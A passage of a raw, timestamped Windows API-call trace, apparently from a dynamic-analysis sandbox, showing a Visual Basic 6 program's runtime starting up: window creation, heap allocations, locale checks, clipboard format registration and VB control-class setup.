ShowWindow (hWnd=0x5011c, nCmdShow=4) returned 0 [0037.460] NtdllDefWindowProc_A (hWnd=0x5011c, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0037.460] NtdllDefWindowProc_A (hWnd=0x5011c, Msg=0x46, wParam=0x0, lParam=0x18fe34) returned 0x0 [0037.461] NtdllDefWindowProc_A (hWnd=0x5011c, Msg=0x47, wParam=0x0, lParam=0x18fe34) returned 0x0 [0037.461] GetWindowThreadProcessId (in: hWnd=0x5011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0037.461] VirtualQuery (in: lpAddress=0x18fea8, lpBuffer=0x18fe8c, dwLength=0x1c | out: lpBuffer=0x18fe8c*(BaseAddress=0x18f000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0037.461] GetUserDefaultLCID () returned 0x409 [0037.461] IsValidCodePage (CodePage=0x3a4) returned 1 [0037.464] IsValidCodePage (CodePage=0x3b5) returned 1 [0037.465] IsValidCodePage (CodePage=0x3b6) returned 1 [0037.466] IsValidCodePage (CodePage=0x3a8) returned 1 [0037.470] GetUserDefaultLangID () returned 0x409 [0037.470] GetSystemDefaultLangID () returned 0x640409 [0037.470] GetSystemMetrics (nIndex=42) returned 0 [0037.470] IMalloc:Alloc (This=0x767666bc, cb=0xa8) returned 0x64e370 [0037.470] IMalloc:GetSize (This=0x767666bc, pv=0x64e370) returned 0xa8 [0037.470] IMalloc:Alloc (This=0x767666bc, cb=0xc) returned 0x64aed8 [0037.470] GetCurrentThreadId () returned 0x43c [0037.470] IMalloc:Alloc (This=0x767666bc, cb=0x3c) returned 0x649e90 [0037.470] IMalloc:Alloc (This=0x767666bc, cb=0x1c) returned 0x649480 [0037.471] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\VBA\\Monitors", phkResult=0x18fe74 | out: phkResult=0x18fe74*=0x0) returned 0x2 [0037.471] IMalloc:Alloc (This=0x767666bc, cb=0x1c) returned 0x6494a8 [0037.471] GetCurrentThreadId () returned 0x43c [0037.472] SetWindowsHookExA (idHook=-1, lpfn=0x729a1e09, hmod=0x0, dwThreadId=0x43c) returned 0x600ff [0037.472] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x14) returned 0x2652078 [0037.472] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x80) returned 0x2652098 [0037.472] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x10) returned 0x2652120 [0037.472] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x2c) returned 0x2652138 [0037.472] GetClassInfoA (in: hInstance=0x72940000, lpClassName="VBMsoStdCompMgr", lpWndClass=0x18fdcc | out: lpWndClass=0x18fdcc) returned 0 [0037.472] RegisterClassA (lpWndClass=0x18fdcc) returned 0x98c165 [0037.472] CreateWindowExA (dwExStyle=0x0, lpClassName="VBMsoStdCompMgr", lpWindowName=0x0, dwStyle=0x80000000, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x0, hMenu=0x0, hInstance=0x72940000, lpParam=0x0) returned 0x4011e [0037.472] NtdllDefWindowProc_A (hWnd=0x4011e, Msg=0x81, wParam=0x0, lParam=0x18fa08) returned 0x1 [0037.472] NtdllDefWindowProc_A (hWnd=0x4011e, Msg=0x83, wParam=0x0, lParam=0x18f9f4) returned 0x0 [0037.472] NtdllDefWindowProc_A (hWnd=0x4011e, Msg=0x1, wParam=0x0, lParam=0x18fa08) returned 0x0 [0037.472] NtdllDefWindowProc_A (hWnd=0x4011e, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0037.472] NtdllDefWindowProc_A (hWnd=0x4011e, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0037.472] SetWindowLongA (hWnd=0x4011e, nIndex=0, dwNewLong=40181916) returned 0 [0037.473] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x38) returned 0x2652170 [0037.473] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x18) returned 0x26521b0 [0037.473] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x10) returned 0x26521d0 [0037.473] RegisterClipboardFormatA (lpszFormat="Object Descriptor") returned 0xc00e [0037.473] RegisterClipboardFormatA (lpszFormat="Link Source Descriptor") returned 0xc00f [0037.473] RegisterClipboardFormatA (lpszFormat="Embed Source") returned 0xc00b [0037.473] RegisterClipboardFormatA (lpszFormat="Embedded Object") returned 0xc00a [0037.473] RegisterClipboardFormatA (lpszFormat="Link Source") returned 0xc00d [0037.473] RegisterClipboardFormatA (lpszFormat="OwnerLink") returned 0xc003 [0037.473] RegisterClipboardFormatA (lpszFormat="FileName") returned 0xc006 [0037.473] CreateCompatibleDC (hdc=0x0) returned 0x3001024b [0037.473] GetCurrentObject (hdc=0x3001024b, type=0x7) returned 0x185000f [0037.473] CreateWindowExA (dwExStyle=0x0, lpClassName="VBFocusRT6", lpWindowName=0x0, dwStyle=0x40000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x5011c, hMenu=0x0, hInstance=0x72940000, lpParam=0x0) returned 0x50116 [0037.473] NtdllDefWindowProc_A (hWnd=0x50116, Msg=0x81, wParam=0x0, lParam=0x18fa98) returned 0x1 [0037.473] NtdllDefWindowProc_A (hWnd=0x50116, Msg=0x83, wParam=0x0, lParam=0x18fa84) returned 0x0 [0037.473] NtdllDefWindowProc_A (hWnd=0x50116, Msg=0x1, wParam=0x0, lParam=0x18fa98) returned 0x0 [0037.473] NtdllDefWindowProc_A (hWnd=0x50116, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0037.474] NtdllDefWindowProc_A (hWnd=0x50116, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0037.474] NtdllDefWindowProc_A (hWnd=0x5011c, Msg=0x210, wParam=0x1, lParam=0x50116) returned 0x0 [0037.474] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x18) returned 0x26521e8 [0037.474] RtlAllocateHeap (HeapHandle=0x2a10000, Flags=0x8, Size=0x114) returned 0x2a107d0 [0037.474] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x5c) returned 0x2652208 [0037.474] GetCurrentThreadId () returned 0x43c [0037.474] GetCurrentThreadId () returned 0x43c [0037.474] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x10) returned 0x2652270 [0037.474] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x30) returned 0x2652288 [0037.474] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x434) returned 0x26522c0 [0037.474] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x434) returned 0x2652700 [0037.474] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x3c) returned 0x2652b40 [0037.474] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x114) returned 0x2652b88 [0037.474] lstrlenA (lpString="VB") returned 2 [0037.474] lstrlenA (lpString=0x729558a0) returned 5 [0037.474] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x9) returned 0x2652ca8 [0037.474] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x34) returned 0x2652cc0 [0037.474] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0xf0) returned 0x2652d00 [0037.475] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x48) returned 0x2652df8 [0037.475] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x1f4) returned 0x2652e48 [0037.475] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x28) returned 0x2653048 [0037.475] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x15) returned 0x2653078 [0037.475] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x28) returned 0x2653098 [0037.475] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x114) returned 0x26530c8 [0037.475] lstrlenA (lpString="VB") returned 2 [0037.475] lstrlenA (lpString="Frame") returned 5 [0037.475] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x9) returned 0x26531e8 [0037.475] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x24) returned 0x2653200 [0037.475] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0xb0) returned 0x2653230 [0037.475] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x34) returned 0x26532e8 [0037.475] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x184) returned 0x2653328 [0037.475] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x15) returned 0x26534b8 [0037.475] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x114) returned 0x26534d8 [0037.475] lstrlenA (lpString="VB") returned 2 [0037.475] lstrlenA (lpString=0x72956f10) returned 13 [0037.476] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x11) returned 0x26535f8 [0037.476] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x28) returned 0x2653618 [0037.476] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0xd4) returned 0x2653648 [0037.476] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x44) returned 0x2653728 [0037.476] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x1c8) returned 0x2653778 [0037.476] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x15) returned 0x2653948 [0037.477] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x114) returned 0x2653968 [0037.477] lstrlenA (lpString="VB") returned 2 [0037.477] lstrlenA (lpString="ComboBox") returned 8 [0037.477] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0xc) returned 0x2653a88 [0037.477] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x108) returned 0x2653aa0 [0037.477] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x4c) returned 0x2653bb0 [0037.477] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x230) returned 0x2653c08 [0037.477] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x15) returned 0x2653e40 [0037.477] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x114) returned 0x2653e60 [0037.477] lstrlenA (lpString="VB") returned 2 [0037.477] lstrlenA (lpString="ListBox") returned 7 [0037.477] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0xb) returned 0x2653f80 [0037.477] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x108) returned 0x2653f98 [0037.478] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x54) returned 0x26540a8 [0037.478] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x230) returned 0x2654108 [0037.478] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x15) returned 0x2654340 [0037.478] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x114) returned 0x2654360 [0037.478] lstrlenA (lpString="VB") returned 2 [0037.478] lstrlenA (lpString="Timer") returned 5 [0037.478] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x9) returned 0x2654480 [0037.478] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0xc) returned 0x2654498 [0037.478] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x30) returned 0x26544b0 [0037.478] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x4) returned 0x26544e8 [0037.478] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x9c) returned 0x26544f8 [0037.478] RtlReAllocateHeap (Heap=0x2650000, Flags=0x0, Ptr=0x2653048, Size=0x50) returned 0x26545a0 [0037.478] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x15) returned 0x2653048 [0037.478] RtlReAllocateHeap (Heap=0x2650000, Flags=0x0, Ptr=0x2653098, Size=0x50) returned 0x26545f8 [0037.478] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x114) returned 0x2654650 [0037.478] lstrlenA (lpString="VB") returned 2 [0037.478] lstrlenA (lpString="Printer") returned 7 [0037.479] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0xb) returned 0x2653098 [0037.479] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0xdc) returned 0x2654770 [0037.479] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x15) returned 0x2654858 [0037.479] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x114) returned 0x2654878 [0037.479] lstrlenA (lpString="VB") returned 2 [0037.479] lstrlenA (lpString="Form") returned 4 [0037.479] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x8) returned 0x2653068 [0037.479] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x184) returned 0x2654998 [0037.479] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x7c) returned 0x2654b28 [0037.479] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x2f8) returned 0x2654bb0 [0037.479] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x15) returned 0x2654eb0 [0037.479] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x114) returned 0x2654ed0 [0037.479] lstrlenA (lpString="VB") returned 2 [0037.479] lstrlenA (lpString="Screen") returned 6 [0037.479] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0xa) returned 0x26530b0 [0037.479] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x2c) returned 0x2654ff0 [0037.479] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0xa0) returned 0x2655028 [0037.480] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x15) returned 0x26550d0 [0037.480] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x114) returned 0x26550f0 [0037.480] lstrlenA (lpString="VB") returned 2 [0037.480] lstrlenA (lpString="Clipboard") returned 9 [0037.480] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0xd) returned 0x2655210 [0037.480] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x1c) returned 0x2655228 [0037.480] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x68) returned 0x2655250 [0037.480] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x15) returned 0x26552c0 [0037.480] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x114) returned 0x26552e0 [0037.480] lstrlenA (lpString="VB") returned 2 [0037.480] lstrlenA (lpString="Menu") returned 4 [0037.480] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x8) returned 0x2655400 [0037.480] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x38) returned 0x2655410 [0037.480] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x4) returned 0x2655450 [0037.480] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0xb8) returned 0x2655460 [0037.480] RtlReAllocateHeap (Heap=0x2650000, Flags=0x0, Ptr=0x26545a0, Size=0x78) returned 0x2655520 [0037.480] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x15) returned 0x26545a0 [0037.480] RtlReAllocateHeap (Heap=0x2650000, Flags=0x0, Ptr=0x26545f8, Size=0x78) returned 0x26555a0 [0037.480] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x114) returned 0x2655620 [0037.480] lstrlenA (lpString="VB") returned 2 [0037.481] lstrlenA (lpString="MDIForm") returned 7 [0037.481] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0xb) returned 0x26545c0 [0037.481] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x184) returned 0x2655740 [0037.481] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x7c) returned 0x26558d0 [0037.481] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x2f8) returned 0x2655958 [0037.481] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x15) returned 0x26545d8 [0037.481] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x114) returned 0x2655c58 [0037.481] lstrlenA (lpString="VB") returned 2 [0037.481] lstrlenA (lpString="App") returned 3 [0037.481] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x7) returned 0x26545f8 [0037.481] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x84) returned 0x2655d78 [0037.481] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x148) returned 0x2655e08 [0037.481] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x15) returned 0x2654608 [0037.481] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x114) returned 0x26607c0 [0037.482] lstrlenA (lpString="VB") returned 2 [0037.482] lstrlenA (lpString="UserControl") returned 11 [0037.482] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0xf) returned 0x2654628 [0037.482] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x1e4) returned 0x26608e0 [0037.482] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0xb0) returned 0x2660ad0 [0037.482] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x3a4) returned 0x2660b88 [0037.482] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x15) returned 0x2660f38 [0037.482] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x114) returned 0x2660f58 [0037.482] lstrlenA (lpString="VB") returned 2 [0037.482] lstrlenA (lpString="PropertyPage") returned 12 [0037.482] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x10) returned 0x2661078 [0037.482] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x190) returned 0x2661090 [0037.482] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x88) returned 0x2661228 [0037.482] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x310) returned 0x26612b8 [0037.483] lstrcmpiA (lpString1="VB.MDIForm", lpString2="VB.PropertyPage") returned -1 [0037.483] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x15) returned 0x26615e8 [0037.483] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x114) returned 0x26621d0 [0037.483] lstrlenA (lpString="VB") returned 2 [0037.483] lstrlenA (lpString="UserDocument") returned 12 [0037.483] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x10) returned 0x26622f0 [0037.483] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x1c8) returned 0x2662308 [0037.483] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0xa8) returned 0x26624d8 [0037.483] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x370) returned 0x2662588 [0037.483] RtlReAllocateHeap (Heap=0x2650000, Flags=0x0, Ptr=0x2655520, Size=0xa0) returned 0x2662900 [0037.483] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x15) returned 0x2661608 [0037.483] RtlReAllocateHeap (Heap=0x2650000, Flags=0x0, Ptr=0x26555a0, Size=0xa0) returned 0x26629a8 [0037.483] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x20) returned 0x2655520 [0037.484] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x238) returned 0x2662a50 [0037.484] lstrlenA (lpString="Enabled") returned 7 [0037.484] lstrlenA (lpString="DataSource") returned 10 [0037.485] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x114) returned 0x2662c90 [0037.486] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x14) returned 0x2661628 [0037.486] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x140) returned 0x2662db0 [0037.486] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x24) returned 0x2655548 [0037.486] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x15) returned 0x2661648 [0037.486] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x1a0) returned 0x2662ef8 [0037.486] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x114) returned 0x26630b8 [0037.486] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x10) returned 0x2655578 [0037.486] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x13c) returned 0x26650a0 [0037.486] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x24) returned 0x2655590 [0037.487] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x15) returned 0x2661668 [0037.487] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x148) returned 0x26651e8 [0037.487] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x114) returned 0x26631e0 [0037.487] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x12c) returned 0x2665338 [0037.487] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x24) returned 0x26555c0 [0037.487] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x15) returned 0x2661688 [0037.488] RtlAllocateHeap (HeapHandle=0x2a10000, Flags=0x8, Size=0x30) returned 0x2a108f0 [0037.489] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0xa0) returned 0x2665470 [0037.489] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x28) returned 0x26555f0 [0037.489] GetCurrentThreadId () returned 0x43c [0037.489] GetCurrentThreadId () returned 0x43c [0037.489] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x10) returned 0x2665530 [0037.489] RtlAllocateHeap (HeapHandle=0x2a10000, Flags=0x8, Size=0x30) returned 0x2a10928 [0037.490] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0xa0) returned 0x2665918 [0037.490] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x28) returned 0x26659c0 [0037.490] GetCurrentThreadId () returned 0x43c [0037.490] GetCurrentThreadId () returned 0x43c [0037.490] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x10) returned 0x2665548 [0037.490] RtlAllocateHeap (HeapHandle=0x2a10000, Flags=0x8, Size=0x30) returned 0x2a10960 [0037.490] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0xa0) returned 0x26659f0 [0037.490] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x28) returned 0x2665a98 [0037.490] GetCurrentThreadId () returned 0x43c [0037.490] GetCurrentThreadId () returned 0x43c [0037.490] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x10) returned 0x2665560 [0037.490] RtlAllocateHeap (HeapHandle=0x2a10000, Flags=0x8, Size=0x30) returned 0x2a10998 [0037.490] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0xa0) returned 0x2665ac8 [0037.490] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x28) returned 0x2665b70 [0037.490] GetCurrentThreadId () returned 0x43c [0037.490] GetCurrentThreadId () returned 0x43c [0037.490] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x10) returned 0x2665578 [0037.490] RtlAllocateHeap (HeapHandle=0x2a10000, Flags=0x8, Size=0x30) returned 0x2a109d0 [0037.490] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0xa0) returned 0x2665ba0 [0037.490] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x28) returned 0x2665c48 [0037.490] GetCurrentThreadId () returned 0x43c [0037.490] GetCurrentThreadId () returned 0x43c [0037.490] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x10) returned 0x2665590 [0037.490] RtlAllocateHeap (HeapHandle=0x2a10000, Flags=0x8, Size=0x30) returned 0x2a10a08 [0037.490] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0xa0) returned 0x2665c78 [0037.490] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x28) returned 0x2665d20 [0037.490] GetCurrentThreadId () returned 0x43c [0037.491] GetCurrentThreadId () returned 0x43c [0037.491] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x10) returned 0x26655a8 [0037.491] RtlAllocateHeap (HeapHandle=0x2a10000, Flags=0x8, Size=0x30) returned 0x2a10a40 [0037.491] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0xa0) returned 0x2665d50 [0037.491] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x28) returned 0x2665df8 [0037.491] GetCurrentThreadId () returned 0x43c [0037.491] GetCurrentThreadId () returned 0x43c [0037.491] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x10) returned 0x26655c0 [0037.491] RtlAllocateHeap (HeapHandle=0x2a10000, Flags=0x8, Size=0x30) returned 0x2a10a78 [0037.491] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0xa0) returned 0x2665e28 [0037.491] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x28) returned 0x2665ed0 [0037.491] GetCurrentThreadId () returned 0x43c [0037.491] GetCurrentThreadId () returned 0x43c [0037.491] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x10) returned 0x26655d8 [0037.491] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x114) returned 0x2663308 [0037.491] lstrlenA (lpString="VB") returned 2 [0037.491] lstrlenA (lpString="PictureBox") returned 10 [0037.491] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0xe) returned 0x26655f0 [0037.491] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x16c) returned 0x2665f00 [0037.491] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x68) returned 0x2666078 [0037.491] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x2c8) returned 0x26660e8 [0037.491] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x15) returned 0x26616a8 [0037.492] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x114) returned 0x2663430 [0037.492] lstrlenA (lpString="VB") returned 2 [0037.492] lstrlenA (lpString="TextBox") returned 7 [0037.492] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0xb) returned 0x2665608 [0037.492] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x38) returned 0x26663b8 [0037.492] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x120) returned 0x26663f8 [0037.492] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x60) returned 0x2666520 [0037.492] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x250) returned 0x2666588 [0037.492] RtlReAllocateHeap (Heap=0x2650000, Flags=0x0, Ptr=0x2662900, Size=0xc8) returned 0x26667e0 [0037.492] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x15) returned 0x26616c8 [0037.492] RtlReAllocateHeap (Heap=0x2650000, Flags=0x0, Ptr=0x26629a8, Size=0xc8) returned 0x26668b0 [0037.492] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x114) returned 0x2663558 [0037.492] lstrlenA (lpString="VB") returned 2 [0037.492] lstrlenA (lpString="CheckBox") returned 8 [0037.492] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0xc) returned 0x2665620 [0037.492] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x28) returned 0x2662900 [0037.492] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0xec) returned 0x2662930 [0037.492] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x48) returned 0x2666980 [0037.492] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x1f8) returned 0x26669d0 [0037.493] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x15) returned 0x26616e8 [0037.493] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x114) returned 0x2663680 [0037.493] lstrlenA (lpString="VB") returned 2 [0037.493] lstrlenA (lpString="OptionButton") returned 12 [0037.493] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x0, Size=0x10) returned 0x2665638 [0037.493] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0x28) returned 0x2666bd0 [0037.493] RtlAllocateHeap (HeapHandle=0x2650000, Flags=0x8, Size=0xd4) returned 0x2666c00 [0037.493] RtlAllocateHeap 